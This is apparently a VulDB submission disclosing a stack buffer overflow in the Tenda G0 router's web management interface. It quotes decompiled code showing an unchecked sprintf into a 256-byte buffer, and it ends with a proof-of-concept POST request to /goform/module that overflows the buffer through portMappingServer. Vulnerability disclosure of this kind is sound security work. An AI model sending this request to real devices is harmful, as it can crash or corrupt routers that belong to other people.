提交 #868929: Tenda G0 Tenda G0 Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda G0. Attackers can exploit this vulnerability by specifying the value of portMappingServer. In setPortMapping, portMappingServer is written into the fixed-size stack buffer s_ through sprintf without length validation, which may cause a buffer overflow. The same formatting operation also incorporates the attacker-controlled strings porMappingtInternal and portMappingExternal.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/module. The unified module dispatch entry is:
websDefineAction("module", (int)formModules);

The setPortMapping handler is registered as:
moduleRegister("setPortMapping", (int)formSetPortMapping);

In formSetPortMapping, the data object is passed into setPortMapping when type is add or edit:
v6 = setPortMapping((int)ObjectItem, 0);
v6 = setPortMapping((int)ObjectItem, 1);

In setPortMapping, attacker-controlled values are read from the JSON data object:
String = cJSON_GetString(a1, "portMappingServer", (int)&byte_512830);
v9 = cJSON_GetString(a1, "porMappingtInternal", (int)&byte_512830);
v10 = cJSON_GetString(a1, "portMappingExternal", (int)&byte_512830);

The destination buffer is a fixed-size stack buffer:
char s_[256];

The user-controlled values are formatted into s_ without length validation:
sprintf(s_, "%d;%s;%s;%s;%d;%d", v8, (const char *)v10, (const char *)v9, (const char *)String, Int, v14);

Because sprintf writes attacker-controlled portMappingServer, porMappingtInternal, and portMappingExternal values into the fixed-size s_ stack buffer, overly long values can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/module HTTP/1.1
Host: <device-ip>
Content-Type: application/json

{"setPortMapping":{"type":"add","data":{"portMappingServer":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","porMappingtInternal":"1","portMappingExternal":"2","portMappingProtocol":1,"portMappingWan":0}}}

• 来源: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/G0/3.md
• 用户: stksgg (UID 97520)
• 提交: 2026-06-25 09時10分 (2 月前)
• 管理: 2026-08-13 20時55分 (2 months later)
• 状态: 已接受
• VulDB条目: 389758 [Tenda G0 直到 20260625 httpd web management interface /goform/module setPortMapping 内存损坏]
• 积分: 20